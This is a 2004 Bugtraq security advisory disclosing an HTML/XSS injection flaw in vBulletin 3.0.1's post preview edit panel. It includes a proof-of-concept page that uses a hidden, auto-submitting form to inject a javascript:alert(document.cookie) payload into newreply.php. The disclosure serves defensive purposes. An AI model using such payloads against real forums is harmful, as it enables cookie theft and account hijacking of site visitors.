[35470] in bugtraq
vBulletin HTML Injection Vuln
daemon@ATHENA.MIT.EDU (Cheng Peng Su)
Thu Jun 24 14:03:04 2004
Date: 24 Jun 2004 12:05:18 -0000
Message-ID: <20040624120518.31323.qmail@www.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: Cheng Peng Su <apple_soup@msn.com>
To: bugtraq@securityfocus.com
Advisory Name : vBulletin HTML Injection Vulnerability
Release Date : June 24,2004
Application : vBulletin
Test On : 3.0.1 or others?
Vendor : Jelsoft(http://www.vbulletin.com/)
Discover : Cheng Peng Su(apple_soup_at_msn.com)
Intro:
From vendor's website ,it says that ,vBulletin is a powerful, scalable and
fully customizable forums package for your web site. It has been written using
the Web's quickest-growing scripting language; PHP, and is complimented with a
highly efficient and ultra fast back-end database engine built using MySQL.
Proof of concept:
While a user is previewing the post , both newreply.php and newthread.php
do sanitize the input in 'Preview',but not Edit-panel,malicious code can be
injected thru this flaw.
Exploit:
A page as below can lead visitor to a Preview page which contains XSS code.
-------------------------Remote.html-------------------------
<form action="http://host/newreply.php" name="vbform"
method="post" style='visibility:hidden'>
<input name="WYSIWYG_HTML"
value="<IMG src="javascript:alert(document.cookie)">"/>
<input name="do" value="postreply"/>
<input name="t" value="123456" />
<input name="p" value="123456" />
<input type="submit" class="button" name="preview"/>
</form>
<script>
document.all.preview.click();
</script>
-----------------------------End-----------------------------
Solution:
vBulletin Team will release a patch or a fixed version as soon as possible.
Contact:
Cheng Peng Su
apple_soup_at_msn.com
Class 1,Senior 2,High school attached to Wuhan University
Wuhan,Hubei,China
